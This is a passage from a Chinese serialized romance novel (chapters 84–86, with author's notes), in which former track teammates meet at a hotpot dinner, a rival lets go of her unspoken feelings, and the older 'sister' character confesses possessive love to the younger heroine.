鹿晨沉默了一会儿,她看着王甜甜说:“我伤害了她,她不要我了。” 她们都是她的队员,对她和楚鸽的曾经都是知道的,她没必要隐瞒。 这样的直接让俩人都是一愣,尤其是乔潇潇,她抿着唇:“教练,你不是要……结婚的么?” 听了这话,鹿晨握着茶杯的手紧了紧,“是啊,我本来是要结婚的。” 她是应该结婚的。 可她的心过不去。 在谈婚论嫁,已经要见父母的最后一步,鹿晨退却了。 可是……已经晚了。 她回去找过楚鸽。 楚鸽没有见她,电话拉黑,微信删除了。 这是楚鸽的性子,被伤害后,不会再留半点情面给她。 鹿晨在两个人面前,一直都是带着“教练”架子的,而如今,她脸上的脆弱与痛苦让人心疼。 从她家出来的时候,潇潇还在感慨,“想不到啊……我总觉得有点可惜。” 王甜甜也是若有所思地说着:“如果知道是这样,当初还不如忍一忍,不说呢。” 听了这话,乔潇潇的心底居然泛起了一丝甜蜜,她没忍住,她说了,可是她的姐姐没有离开。 潇潇刚一抬头,看见王甜甜正盯着她看,把她刚才情不自禁的笑尽收眼底,她身子僵硬了一下,推了一下王甜甜:“你干嘛?!” 王甜甜冷哼一声:“看你跟吃了蜜蜂屎似的,不知道开心什么呢。” 俩人又开始追打闹了起来,跟长不大的孩子一样,这样的笑容,甜甜的脸上已经许久没有过了,她有多舍不得,多不甘心就这样放弃。 可她知道,如果不放弃心底的感情,那就是放弃她们之间这么多年的友谊。 …… 王甜甜这次回国的时间并不多,把青心的广告拍了之后,她差不多就要走了。 所以时间很紧急。 今天在学校的偶遇终究没能逃过网络的捕捉。热搜榜单上赫然挂着#王甜甜与素人赛跑#的话题,网友们蜂拥而至,都想一睹究竟是何方神圣,竟能与奥运冠军同场竞技。 在这个颜值至上的时代,乔潇潇那张明艳动人的脸庞和修长匀称的双腿,瞬间成为瞩目的焦点。 评论区很快被热情的网友攻占。 ——三分钟,我要这个小姐姐的全部资料! 这是什么神仙颜值?确定不是新出道的艺人吗? 姐姐好飒!和我女神站在一起居然毫不逊色! …… 底下还有同学校的回复。 ——昂,我认识她们,当年她们差点以小甜甜组合出道。 对啊,在学校的时候就是形影不离的。 听说王甜甜转跳高,还跟美女姐姐有关呢! …… 热搜持续发酵了大半天。 杨绯棠第一时间刷到消息,踩着拖鞋就冲到了隔壁,迫不及待要和楚心柔分享。 如果不知道真相的人,光是看照片,两个青春洋溢的高挑飒爽女孩,真的好般配啊,她都在热搜下点赞了! 推开门,却见楚心柔罕见地站在厨房里。料理台上散落着被剁得细碎的胡萝卜丁和白菜末,菜刀与砧板碰撞发出的“咚咚”声,每一下都像是要把乔潇潇的脑袋剁下来似的。 杨绯棠僵在门口,不自觉地咽了咽口水。她悄悄往后挪了半步,正想装作什么都没看见退出去。 “杨绯棠。” 楚心柔头也不回地开口,手上的动作却没停。那把闪着寒光的菜刀重重落下,最后一根胡萝卜应声断成两截。 “到!” 杨绯棠条件反射般立正站好,声音洪亮得能震碎玻璃,偷瞄着楚心柔的侧脸,只见她正望着窗外阴沉的天空,眼神比刀锋还冷。 沉默了许久。 楚心柔终于开口了,“你看热搜了么?” 杨绯棠重重地点头,脖颈都绷得发僵:“看了。” 她暗自攥紧了衣角,总觉得此刻的心柔平静得令人心惊肉跳。 “嗯。”楚心柔轻轻应了一声,手中的菜刀在灯光下泛着冷光。她缓缓转身,刀尖对着杨绯棠:“网上都说潇潇和王甜甜很般配。”她抬眼直视杨绯棠,唇角勾起一抹似有若无的笑:“你觉得呢?” 杨绯棠的视线死死黏在那把明晃晃的菜刀上,她猛地后退半步,声音陡然拔高:“般配个狗屁啊,谁说的?我立即去打瞎她的眼!” 【作者有话说】 王甜甜对潇潇的感情,之前叶子埋裹线,大家好像没在意呢。 ^0^肥肥的二更来了~ 给姐姐点时间,她会整理好自己的。 一旦面对了自己的心,姐姐可不是好欺负的人。 ps:最近叶子有点忙,更新时间不定。 84 第84章 ◎修罗场。◎ 嫉妒是一种什么感觉? 楚心柔从未感受过。 从小到大,她对什么都不曾有过强烈的占有欲。那些精致的玩具,心爱的裙子,只要旁人流露出些许渴望,她总是轻轻点头就拱手相让。许可晴经常对楚云疾念叨:“咱们大女儿啊,什么都好,就是太淡了,等咱们老了,怕是连话都说不上几句。” 起初楚云疾只是沉默地听着,渐渐地,他投向女儿的目光里开始掺杂着难以察觉的失望。那些若有似无的视线像细密的针,在楚心柔心上扎出看不见的孔洞。 她记得那个雨夜,楚云疾站在书房门口,声音比窗外的雨还要冷:“心柔,你是我一手培养的接班人,不该对任何事过分在意。” 可当她真的做到了,他却用那种陌生的眼神看着她——仿佛在打量一台精密的、却没有温度的机器。 从那天起,楚心柔彻底锁上了心门。她以为,自己血管里流淌的,本就是这般清冷的血液。 直到此刻。 手机屏幕泛着冷光,微博界面上两个女孩笑得明媚灿烂。她们挨得那样近,其中一个正亲昵地挽着那个人的手臂。 楚心柔的指尖悬在屏幕上方,不受控制地往下滑动,每张照片都像一根细针,精准地扎进心口最柔软的地方。 是嫉妒吗? 酸涩在喉间翻滚,呼吸变得又轻又急。她忽然想起那些被自己轻易让出的玩具和裙子,原来不是不想要,而是从未遇到过真正渴望的东西。 屏幕上的笑脸还在不断刷新,楚心柔终于按灭了手机。黑暗中,她将掌心贴上左胸,那里正传来陌生的、尖锐的疼痛。 这……就是爱么? 乔潇潇踏着月色归来时,指针已划过十一点。她疲惫地推开家门,那盏熟悉的小桔灯依然在客厅里静静守候,橙黄的光晕像是一双温柔的手,轻轻拂去她满身的倦意。 洗完热水澡,吹干长发,乔潇潇习惯性地在姐姐房门前站了一会儿,这才心满意足的去睡觉。 青心工作室的新品宣传意外走红。广告还未正式投放,社交平台上的话题度就已经居高不下。更让乔潇潇意外的是,短短几天内,竟有七家经纪公司联系她,想要签下这位突然走红的“素人博主”,开的价位还都不低。 大有一种还未正式宣传,先火了的架势。 旁人还行,就连工作室的人都有私下里磕cp的了,哪一次王甜甜过来都得一阵尖叫。 小花最激动,快成粉头了。 “小七,看这个!”小花举着手机冲进办公室,屏幕上赫然是粉丝建立的CP超话,“甜潇CP现在已经冲到同城榜第三了!” 白七在一旁默默整理文件,闻言抬头:“网上看看就好。” “为什么?”小花瞪大眼睛,“她们明明那么配!” 白七摇摇头,第六感告诉她,乔潇潇心里装着的那个人,绝不是镜头前这位。 也是因为想要借着这次热搜的东风,广告创意方案最终定稿:采用双代言人策略,由职业运动员王甜甜与品牌素人代表乔潇潇分别演绎青心的两大产品线。 在视觉呈现上,两位代言人形成鲜明对比:王甜甜以“轻运动”风格出镜,身着薄荷绿训练服,咬着一根棒棒糖,突出手环的日常佩戴舒适性;乔潇潇则采用“专业竞技”造型,淡粉色运动装搭配篮球元素,展现在剧烈运动场景下手环吸睛的一面。 反差与对比,是抓人眼球常用的方法。 市场部在提报方案时准备了多套备选预案,担心BOSS会对这种差异化营销策略提出异议。然而在方案评审会上,乔潇潇在快速浏览核心数据后,听说自己拍摄,不需要再花钱,她点头就应了,很快就签了字。 王宁年长,还是看的比较远,这些年的历练也让她知道水有多深,“潇潇。”她忧心忡忡地接过合约,“网络是把双刃剑,你要不要再考虑一下?” 乔潇潇头也不抬地签完最后一份文件:“我又不上网,他们爱说什么说什么。” 王宁:…… 真的是简单直白的方法更能扫除一切屏障。 拍摄当天,乔潇潇一袭淡粉色运动装,王甜甜则是薄荷绿的运动套装。两个青春洋溢的身影在镜头前自然互动。 本来,刚开始乔潇潇还不适应对着镜头,可有王甜甜在,引导着她:“你不用看那么多,就当是咱们之前高中训练。” 乔潇潇一听乐了,“高中训练?那我岂不是要踢你屁股?” 现场顿时笑声一片,紧张的气氛烟消云散。 她们刚开始还拍的一本真经,到后来,笑着闹着,一个小时后,已经变成了互相追着打闹的场景,真的像是两个长不大的孩子,时间很快就过了。 乔潇潇也不知道最终的片子会剪成什么样,但是大石头落下了,心里非常痛快,“晚上去我家,我带你吃火锅。” 王甜甜撇了她一眼,“哟,你那姐姐终于肯让我看了?” 她的行程排的特别满,今天广告拍完,明天上午就要看看还有没有需要补拍的镜头,她下午就要离开飞回澳洲开展训练了。 在离开前,她总是亲眼看一看让乔潇潇恋恋不舍的人,这样才会死心。 乔潇潇笑嘻嘻地说:“什么叫终于肯了?早晚都得见。” 她的姐姐,她从未想过遮遮掩掩,若是以后姐姐彻底的接受了她,乔潇潇会光明正大的带着她见自己的亲朋的,王甜甜算是她最好的朋友了,这事儿,她也没有打算藏着掖着。 “哦,对了,晚上队长也来。” 乔潇潇的表情严肃了一些,她看着王甜甜:“你说……咱还叫教练么?” 王甜甜琢磨了一会儿:“上次,我看鹿教练明显是还想着咱们队长呢,要不,给她打个电话问问?让她自己决定?” 乔潇潇点头应了,她想了想:“队长那边,我也实话实说,看她自己想不想来吧。” 说到这儿,俩人一时都在为她们的境遇感到惋惜,王甜甜的声音低沉:“怎么会成这样呢?我记得高中的时候,队长可喜欢教练了,平时吊儿郎当的,可是教练一叫,她立马过去。” 她是田径队的老队员了,对于以前的情况,见的比潇潇多的多。 那时候鹿晨刚毕业就来学校当助教,还“嫩”的很,根本没有现在的威严与魄力,经常会被队里的小年轻欺负。 每一次,楚鸽看见了都是笑眯眯的,不说什么,可等散了队,她会立刻变脸,握着拳头,铁青着就上去了。 为此还找了几次家长,还挂了几次彩,可楚鸽都是嚼着口香糖,并不在意。 久而久之,大家就都老老实实规规矩矩了,慢慢的,鹿晨可以驾驭队员们了,到后*来,变得游刃有余。 而队长还是老样子,对别人的事儿,都是笑嘻嘻的不以为意,可但凡是跟教练沾边的,她总是第一个上。 这一坚持,就是风雨无阻的三年。 王甜甜还以为她们最终会走在一起呢…… 乔潇潇叹息:“大概是发生了什么,让她真的死心的事儿吧。” 对于楚鸽,她更能感同身受。 但是,现在的场景却是她最不愿意看到的。 如果她们真的分开了,潇潇倒是宁愿看教练也没有一点留恋,而不是像现在这样让人惋惜感叹。 …… 这场“家宴”,乔潇潇筹划已久,她也好久没有真正的放松了。 因为人多,她们准备直接在院子里吃了,天擦黑的时候,小院里已飘起火锅的香气。 乔潇潇系着围裙在厨房和客厅间穿梭,不时探头望向门口。王甜甜被她支使着洗菜切肉,冠军选手此刻正笨拙地对付着一颗白菜。 “豆腐呢?”乔潇潇掀开锅盖问道。 杨绯棠笑着说:“你姐姐去买啦。” 菜市场的豆腐卖完了,本来说没有就不吃了的,可潇潇最爱吃豆腐了,楚心柔说什么也要出去买回来。 她总是这样惯着潇潇,杨绯棠习惯了。 王甜甜听了头也不抬,刀起刀落间,案板上的白菜已经惨不忍睹。 门铃忽然响起。 鹿晨一袭白裙站在玄关,丝绸面料勾勒出流畅的腰线,V领设计若隐若现地展现着优美的锁骨线条。常年训练的肌肉线条被柔和的布料包裹,竟显出几分罕见的柔美。 “教练……”乔潇潇手里的漏勺“咣当”掉在地上。王甜甜更是直接僵在原地,沾着菜叶的手都忘了擦。 鹿晨被看得耳尖泛红,“我……是不是穿得不太合适?” 她平时都是以运动服饰出现在大家面前的,很少穿的这样“性感”,也是豁出去了,如果……这真的是最后一次,她希望留在楚鸽印象里的自己是美丽漂亮的。 “合适!特别合适!”王甜甜一个箭步冲上前,“教练你早该这么穿!”她上下打量着,看向乔潇潇:“潇潇,你说我要是这样穿能好看不?” 乔潇潇笑了,“小孩穿大人衣服?” 王甜甜愤怒咆哮:“乔潇潇!!!” …… 厨房的玻璃窗蒙上雾气,客厅里传来杨绯棠调试音响的歌声。 楚鸽来得有些晚。 许久不见,她瘦了许多,脸颊几乎小了一圈,衬得那双眼睛愈发清亮。她推门进来时,鹿晨明显僵了一下,手指无意识地攥紧了裙摆,眼神紧紧追随着她,可楚鸽却连一个余光都没分给她,只是径直走向乔潇潇,递上手里的袋子。 “楚老师呢?”她唇角微扬,语气轻快,“给她带的核桃酥。” 说完,她偏头看向王甜甜,眉梢一挑,笑意更深:“哟,变样了啊,现在真有冠军的范儿了。” 她挨个和大家打了招呼,唯独绕过了鹿晨。 鹿晨眼里的光一点点黯了下去,唇角抿得发紧。乔潇潇偷偷瞥了她一眼,心里揪了一下,却又无可奈何——感情这种事,外人终究是插不上手的。 楚心柔是最后回来的。 等她到家时,火锅早已架好,红汤翻滚,香气四溢。小院里的灯串亮了起来,暖黄的光晕在夜色里轻轻摇曳,像是落了一地的星星。 楚心柔推门而入的瞬间,整个小院仿佛被月光笼罩。 她只穿了件最简单的白色连衣裙,没有任何多余的装饰,却衬得肌肤如雪,乌发如墨。裙摆随着她的步伐轻轻摇曳,像是一泓清泉流淌而过,不染半点尘埃。 灯光落在她身上,为她镀上一层柔和的暖色,连发丝都泛着细碎的光。她的眉眼温婉如画,唇角含着若有似无的笑意,整个人干净得像是从水墨画里走出来的。 所有人都安静了一瞬,连火锅沸腾的咕嘟声都变得遥远。 察觉到大家的目光,楚心柔微微一笑:“抱歉,我来晚了。” 乔潇潇站了起来,走了过去,很娴熟的接过她手里的袋子,抬手摸了摸她的脸颊:“热么?” 这是她们很平常的互动。 放在旁人眼里,也没什么,不过是姐妹情深。 可今天,下面的是一堆身经百战的姬崽儿们,这感觉立马不一样了。 杨绯棠是早就习惯了,她善解人意地看出鹿晨的局促与低落,拉着她坐在了自己的身边,直接豪放地开了瓶五粮液,“来来来,教练,咱俩喝,今天让乔总大出血一回。” 王甜甜盯着俩人看了半响,她低下头,闷声说:“杨姐姐,我也要喝。” 杨绯棠护着酒瓶,“那可不行,你明天还要训练。” 王甜甜的声音低沉,“求你了,杨姐姐,就让我放纵一回吧。” 过了今天……她就可以彻底的死心了,埋葬那还未见光的多年暗恋了。 她才刚说完,楚鸽也把杯子递了过去,“给我也倒点。” “队长,你开始喝酒了?” 乔潇潇把切好的豆腐端了上来,楚鸽看了她一眼,淡淡地说:“嗯,我女朋友爱喝,我就喝了两口。” 这话刚说完,乔潇潇的手一抖,豆腐掉进锅里,溅出的汤差点烫着自己,幸好王甜甜眼疾手快拽了她一把。 “你交女朋友了?” 杨绯棠看了眼鹿晨,惊讶地问。 楚鸽点了点头,云淡风轻:“嗯,今天她有事儿,下次聚会带给你们。” 卧槽? 这是个什么情况? 杨绯棠抬眼求助地去看楚心柔,想问问她该怎么办,可才一抬眼,杨姐姐就看见楚心柔的眼神焦灼在王甜甜拉着乔潇潇胳膊的手上。 杨绯棠:…… 得嘞。 她算是明白了。 今晚是个修罗场。 她看戏就好了。 【作者有话说】 叶子六点爬起来写的,[吃瓜][吃瓜][吃瓜],现在去单位加班了。 85 第85章 ◎楚心柔的声音忽然近了,微凉的指尖抬起她的下巴,眼底翻涌着乔潇潇从未见过的暗潮。◎ 气氛虽然尴尬,但到底是熟人局,聊的话题很多。 最多的还是围绕体育相关,乔潇潇这些年虽然退役了,但是一直关心着这个圈子,她跟同龄人已经不一样了,明显的成熟:“甜甜,去了国外,好好训练,别总想着往回跑。” 前几天,她看见王爸了,上来就跟他告状,也不知道国内有什么勾着甜甜,她总想着往回跑,虽然成绩好,但是教练已经跟他告过好几次状了。 搞体育的吃的就是青春饭,总共就这么几年黄金时光,她要好好珍惜,多出成绩。 这样退役后,才不会后悔。 以甜甜的性格,以后无论是继续深造,还是当教练,都会一辈子衣食无忧的。 王甜甜听了不吭声,拿起酒闷头就喝了一大口。 她虽然性格乐观,从小就爱玩爱闹的,但是大家都说她缺根弦,情商不够,经常好心办坏事儿,明明是想着帮助别人,到最后反而被误会,从小到大,也就只有乔潇潇这么一个真正的朋友。 她当然知道如果现在任性,代价会是怎么的惨痛。 可年少的人,有几个能控制自己的心的? 楚鸽看了看王甜甜,又看了看乔潇潇,随口问着:“潇潇,你也老大不小了,谈恋爱了么?” 紧接着,她又看了看楚老师。 这话一出,楚心柔握着筷子的手一滞,她看向乔潇潇。 “说我干嘛。”乔潇潇的脸肉眼可见的变红了,她悄悄瞄了楚心柔一眼,有点不好意思又有点小甜蜜:“我有喜欢的人了,喜欢好久了呢。” 在场的人,都是最亲的人。 她没有什么必要隐瞒。 楚鸽点了点头,拿起一杯酒,若有所思地说:“喜欢好久了……暗恋挺苦的,能坚持下来的更是少,来,希望你和你的那位有个好结果。” “干杯!” 玻璃杯碰撞的声音此起彼伏。鹿晨盯着杯中晃动的酒液,眼圈发红。自从听说楚鸽有女朋友后,她就觉得心里空了一块,此刻更是如坐针毡。 酒过三巡,气氛愈发热烈。乔潇潇终于卸下心防,这些日子积压的情绪在酒精作用下彻底释放。她和王甜甜勾肩搭背,扯着嗓子嚎《朋友》,跑调跑得杨绯棠笑得直拍大腿。 “朋友一生一起走,那些日子不再有……” 王甜甜哭的鼻涕泡都出来了,匆忙地擦在了乔潇潇的身上,在她耳边喃喃地说:“潇潇,你要幸福啊。” 乔潇潇已经醉得东倒西歪,却还知道摇摇晃晃地站起来,一个踉跄扑到楚心柔身边,整个人栽进她怀里,毛茸茸的脑袋在对方颈窝里乱蹭:“我好幸福啊……” 要醉也只能醉倒在姐姐的怀里。 楚心柔自然地揽住她,让她的头枕在自己腿上。指尖轻轻按摩着太阳穴,声音轻柔:“头疼了?” 回答她的是均匀的呼吸声。乔潇潇蜷缩在姐姐怀里,已经睡成了小猪。 王甜甜怔怔地望着这一幕,泪水无声地划过脸颊。来之前,她心里还藏着些说不清道不明的不甘,可此刻看着楚心柔温柔抚摸潇潇发丝的模样,那些执念忽然就烟消云散了。 无论是从样貌还是气质,楚心柔都是人中龙凤,最重要的是乔潇潇在她面前和在别人面前都不一样。 乔潇潇在别人面前,永远自带一股子让人可以相信可以依赖的领袖气质,当年她在田径队没待多久,大家去哪儿就都习惯问她听她的了,后来楚鸽毕业了,要不是她脚受伤,妥妥的队长人选跑不了。 她也永远那样云淡风轻,怎么样大的事儿,都是淡淡的笑。 以前,王甜甜不明白,她小小的人儿,怎么会有那样成熟的表现,可现在看看,她那样的淡笑和楚心柔一模一样,而她在楚心柔的面前,乔潇潇才会卸下所有伪装,变回那个会撒娇、会任性的小姑娘。 “楚姐姐。” 王甜甜突然举起酒杯,指尖微微发颤。酒精让她的眼眶泛红,却掩不住眼底的认真。 楚心柔看向她,目光平静,竟也带着一丝温柔。 那眼神让王甜甜心头一颤。女孩敏锐的直觉告诉她,眼前这个温婉如玉的姐姐,早已看穿自己藏在心底的那份情愫。可对方眼中没有半分敌意,反而带着无尽的包容。 “你会一直在潇潇身边么?” 王甜甜盯着杯中晃动的琥珀色液体,感觉每一滴都化作酸涩,渗进心里最柔软的角落。 楚心柔点了点头,没有任何犹豫:“会。” 这是她在很早之前就确定的事情。 王甜甜哽咽地又问:“会一直对她好么?” 潇潇她……真的很不容易啊。 记忆如潮水般涌来,带着夏日灼人的温度。训练场的塑胶跑道被晒得发烫,热浪扭曲着远处的景象。队友们瘫在树荫下,咕咚咕咚灌着冰镇汽水,瓶身凝结的水珠滴落在水泥地上,转眼就被蒸发殆尽。 而乔潇潇总是最后一个离开。她瘦小的身影在烈日下弯成一道弧线,麻袋拖在地上发出沙沙的响声。一个、两个……她仔细捡起每个被丢弃的塑料瓶,汗水顺着她的马尾辫滴落,在滚烫的地面上留下转瞬即逝的深色圆点。 那些窃窃私语总是会从角落溜出来。 “穷得连水都买不起,还学人家练体育?” “听说跟保洁阿姨关系特别好……” “哈哈,那是自然的,都是穷乡僻壤出来的,老乡见老乡两眼泪汪汪嘛。” …… 每一个字都像钝刀割肉。王甜甜气得浑身发抖,有几次她实在忍不住要冲上去理论,却被乔潇潇轻轻拽住衣角。 “甜甜,别去。”乔潇潇的睫毛在阳光下投下细密的阴影,王甜甜很愤怒:“为什么?!” 她是怂包吗?都被说成这样了,还不让她出气? 乔潇潇的声音平静异常,“她们说的都是事实。” 她就是小山村里出来的。 今天拥有的一切,于她来说,已经先是做梦一般,想都不敢想的存在了。 而且姐姐说过,让她乖,上大学后,就能拥有她想要的人生了。 忍人所不忍,能人所不能。 王甜甜突然觉得呼吸困难,仿佛有人狠狠攥住了她的心脏。那时候,她就想要保护乔潇潇,可恨自己没有力量。 当年,因为不想去国外,舍不得离开,王甜甜没少跟家里抗争,吵架、绝食,甚至离家出走的招都想出来了,最后,还是她爸爸语重心长的说了一句:“爸爸不是逼你一定要强大,是这世上有些事,光靠一腔热血是没用的。你连自己都保护不了,又怎么保护在乎的人呢?” 他怎么会看不透女儿的心思。 体育圈,这样的事儿并不少。 他和甜甜妈都是开朗的家长,也知道,从小的训练,让女儿吃尽了苦头,在其他方面,只要是甜甜愿意,他们都会鼎力支持。 甜甜走的时候,乔潇潇去机场送她,还摸了摸她的头发,小大人似的说一句:“去那边就别跟人家吵架打架了,低调点,嗯?” 王甜甜突然不想回来了。 乔潇潇看她眼里的不舍,笑了:“那么贵的机票都买了,可不能返回了。” “你不是说要变成奥运冠军以后照着我么?” “我等着你。” …… 如今,王甜甜做到了,可是,潇潇还是不属于她。 楚心柔轻轻的点头,她拿起酒杯,对着甜甜说:“也谢谢你,在潇潇最艰难的那些年,陪着她。” 这话是由衷的。 她倒现在还记得,乔潇潇跟她说交到朋友的时候,眼睛亮晶晶兴奋的样子。 人生就是这样,有些人注定只能陪你走一段路,但那些共同度过的时光,却永远在记忆里熠熠生辉。 一杯苦涩的酒下肚,王甜甜被助理接走了,临离开之前,她还回头深深了乔潇潇一眼。 明天就要出国了。 下一次再回来,不知道是什么时候了。 乔潇潇依旧迷迷糊糊地睡在楚心柔的腿间,两手还抱着她的腰,虽然眯着眼睛,但是眉眼都是幸福的样子。 王甜甜用手擦汗眼泪,在心里默默地说着。 ——潇潇,一定要永远这么幸福啊。 眼看着王甜甜离开,喝的脸颊微红的楚鸽突然看向了角落里一直低着头的鹿晨,问了一句:“你说,如果……我当初像是甜甜这样,我们是不是也不会走到这一步?” 鹿晨红着眼看着她,看了许久,她轻轻地摇了摇头:“我不知道,可是……” 有些话,在心底埋了很久了,她知道再不说就永远没有说出来的可能了。 “我知道我伤害了你,辜负了你……现在的所有,都是我该承受的。” “可是楚楚……我其实、我——” “好了。”楚鸽打断她的话,同时也收回了目光,她盯着院子里被月色笼罩,朦胧的灯光,淡淡地说:“到现在说这些,还有什么用呢?” 她好不容易才走出来的。 没有人知道,在听到鹿晨亲口说她要订婚之后,她经历了什么。 日日夜夜的买醉,身体都废了,深夜里,她不仅一次跑到鹿晨家的楼下,盯着她的灯一看就是一宿。 她是好不容易才走出来的,绝对不会再回头。 有些人,错过了就是错过了。 三年的全心全意付出,她对这段感情,问心无愧。 楚鸽知道,从今往后,无论身边是谁,她的心不会再这样炽热地跳动了。 ——若时光倒流回到最初模样 我依然会选择为你疯狂 因为那年的风和月光 值得我耗尽所有的爱 …… 最后一个尾音在空气中颤抖着消散。 楚鸽的手指还停留在麦克风上,指节因用力而发白。她望着台下泪流满面的鹿晨,忽然笑了,那个笑容像破碎的月光,带着泪水的咸涩。 “这首歌……送给我爱过的你。” 她放下话筒的动作很轻,却像一把钝刀割断了什么,头也不回的离开了。 鹿晨的眼泪成串地砸在桌面上,吓得杨绯棠偷偷的跑了,留下楚心柔一个人收拾残局。 玻璃碰撞的清脆声响中,她听见鹿晨压抑的抽泣:“是我不好,都是我不好……” 楚心柔停下收拾的动作。月光透过落地窗,将她的身影拉成一道修长的剪影。她与鹿晨年纪相仿,虽不常深交,却懂得这份求而不得的苦楚。不同的是,此刻她怀中尚有爱人安睡,而鹿晨的双臂早已空空如也。 “我……根本忘不掉她。”鹿晨的眼泪像断了线的珠子。 楚心柔凝视她许久,忽然轻声道:“若真忘不了,就放下骄傲去挽回。”她的目光转向门外,“别只停留在忏悔里。” 她看得出,楚鸽的眼里还有情。 乔潇潇第二天头昏眼花的起来的时候,完全不记得发生了什么,一睁眼,就看见楚心柔在对面,目光沉甸甸地看着她,一脸严肃。 乔潇潇:??? 怎么了?发生了什么? 昨天无论是王甜甜还是鹿晨与楚鸽,像走马灯般在她眼前挥之不去,楚心柔盯着乔潇潇看了一宿,想了一宿,没有合眼。 “姐姐……怎么了?我昨天喝多了……耍酒疯了么?” 乔潇潇小心翼翼地问着,楚心柔摇了摇头。 这让她更忐忑不安了。 就在乔潇潇大气都不敢喘的时候,楚心柔问了她两个问题。 “你当初和王甜甜,有没有早恋?” 乔潇潇一懵,脑袋里没有散去的酒气搅了什么,她立即摇头,“当然没有!”怕姐姐误会,她急得耳尖都红了,“就是一起训练一起吃饭的队友啊!” 楚心柔又问:“当初,你和白七跑出去,为什么突然想通了?” 乔潇潇几乎没有见过姐姐这么认真的发问,她也不敢迟疑,轻声回答:“当初……当初,我觉得自己辜负了你对我的用心,又没办法克制感情,被左右拉扯着快要撕碎了……后来,白七问我——爱是占有么?” 乔潇潇越说脸越热,她低下了头:“我就想明白了……只要能陪在你身边,我就满足了。” 只要能和姐姐这样朝夕相处一辈子,她就满足了。 潇潇说完之后,楚心柔久久的没有回答。 这沉默让乔潇潇的心里愈发的不安,她低着头也不敢抬头,心跳加速。 沉默在房间里蔓延,就在她绝望的认为昨晚肯定是发生了什么,快要被不安淹没时。 “爱不是占有……” 楚心柔重复着乔潇潇说的话。 “可是,潇潇……”楚心柔的声音忽然近了,微凉的指尖抬起她的下巴,眼底翻涌着乔潇潇从未见过的暗潮:“我发现自己就是想占有你,该怎么办?” 【作者有话说】 嗷嗷嗷嗷,姐姐逐渐缕清自己了。 ps:留言多,今天或许有二更?^0^要看状态哦。 86 第86章 (二更) ◎楚心柔将她们的额头相抵,呼吸交错间一字一顿地宣告:“潇潇,记住,你◎ 楚心柔的话犹如星火坠入荒原,瞬间在乔潇潇心底燃起燎原之势。炽热的火焰裹挟着心脏剧烈跳动,震得耳膜嗡嗡作响,眼前炸开的绚烂光晕让她恍惚分不清虚实。 “姐姐……你刚才说什么?”乔潇潇的声音轻得像是怕惊碎这场美梦。 楚心柔的指尖仍轻轻托着她的下颌,目光灼灼望进她眼底。 那双总是温柔似水的眼眸此刻翻涌着晦暗的占.有.欲,像是暴风雨前压抑的海面:“潇潇,我一直以为王甜甜才是你的初恋。”她纤长的手指顺着脸颊缓缓游移,在肌肤上烙下滚烫的痕迹,“那几天……我简直不像自己了。” 楚心柔向来从容的声线此刻浸着罕见的脆弱。从小到大,她从未真正畏惧过什么,可当听见王甜甜说要给乔潇潇买房时,冰冷的恐惧突然攥住了她的心脏。甚至在无数个辗转反侧的深夜,她偏执地描摹着最坏的可能,王甜甜是不是打算带着她的潇潇出国。 “网上的照片我都看了。”压抑了几天的情感倾泻而出,楚心柔凝视着乔潇潇的瞳孔,“我不喜欢看你们搂在一起笑。”她的拇指重重碾过乔潇潇的唇瓣,“太刺眼了。” 空气在这一刻凝固,楚心柔将她们的额头相抵,呼吸交错间一字一顿地宣告:“潇潇,记住,你是我的。” 这个在她眼前长大独立的女孩,是她楚心柔一个人的,任何人都不允许沾染。 这是姐姐从未有过的语气与声调,每个字都裹挟着令人战.栗的占.有.欲。 乔潇潇感觉全身的血液都在沸腾。姐姐的手只是轻抚她的脸颊,她就仿佛饮了最烈的酒,整个人都软了下来。那种熟悉的眩晕感又来了,比任何一次醉酒都要强烈。她恍惚间甚至不记得姐姐是什么时候离开的,只记得那句话在耳边不断回响。 ——潇潇,你是我的。 房间里安静得能听见自己剧烈的心跳声。 乔潇潇仰躺在柔软的大床上,指尖无意识地触碰着方才被姐姐抚过的唇瓣。与以往每次心动后的痛苦不同,这一次,她望着雪白的天花板,嘴角不自觉地上扬,笑了。 这算是守得云开见月明么? 姐姐终于是给她回复了不是么? 爱情有时候就是这样奇妙,一个瞬间的冲动,就能让压抑多年的情感决堤。 可楚心柔却在对着潇潇说了这些话之后,就开始不敢与她目光对视了。 下午的时候,体贴的杨姐姐煲了汤过来看潇潇,想看她酒劲儿散了没,乔潇潇一口一口喝的认真,边喝边忍不住笑。 杨绯棠狐疑地看看她,又看看自己的汤,“你傻笑什么呢?我汤里有蜜啊?” 乔潇潇:…… “哎,心柔呢?”杨绯棠四处看了看,“这个点儿,还睡呢?” 一提到姐姐,乔潇潇心里就想笑,从上午信誓旦旦地宣誓主权后,她就关上门不见人了,怪可爱的。 这有什么啊? 杨绯棠起身去敲门,“心柔,出来啊,我煲汤了。” 她敲了半天,楚心柔才打开门出来,她还有点不耐烦,“吵我睡觉了。” 杨绯棠看了看她的脸:“你睡的什么觉,怎么脸那么红?” 这都几点了? 乔潇潇看姐姐出来了,知道她要喝汤,赶紧去厨房拿勺子。 杨绯棠还在炫耀自己的厨艺,“你就喝吧,肯定香的你掉口水。” 她可是煲了一上午的。 楚心柔往厨房望了望,看见乔潇潇回来,立即低头去看汤。 “给姐姐。”乔潇潇将汤匙递给楚心柔时,两人的指尖不经意相触,又像触电般同时缩回,脸都红了。 “干嘛呢?愣什么神呢?我说你俩怎么回事儿?”杨绯棠炫耀了半天,看出了俩人的古怪,她眯了眯眼睛,“你们……昨晚——呜——” 她的话还没说完,就被楚心柔用拍蚊子的力度与速度,一个巴掌捂住了她的嘴,差点将杨绯棠呼倒在地。 杨绯棠:…… 这是绝对有问题了! 敏感的老司机,要是再发现不了点什么,杨绯棠这些年就白在薛总身下护着了。 她这八卦的好奇心起来了,心像是被挠了痒痒一般,根本就止不住。 一直等乔潇潇走了,杨绯棠立刻凑到楚心柔身边,“说,到底什么情况?” 楚心柔怎么会不知道杨绯棠的性格,她幽幽地叹了口气,“我也不知道,这样对潇潇是好是坏。” “当然是好了。”杨绯棠说的斩钉截铁,“昨儿你没看见鹿晨那哭红眼的模样?说实话,心柔,你也属于后知后觉那一挂的,好在我们家崽子有耐心比较持久。” “持久……” 楚心柔听到这话,嗔了杨绯棠一眼,脸又红了。 杨绯棠:…… 天啊,她说什么了?已经到了这样听个字就扯颜色了么? 看来,她们之间离着开车上马路就差那么一张窗户纸了。 杨绯棠这会可是把自己多年的经验心得拿出来了,她特别认真地问楚心柔:“你是攻还是受?” 楚心柔有点懵,“什么?” 她从来没有去了解过这些。 杨绯棠有点想笑,“你不懂?” 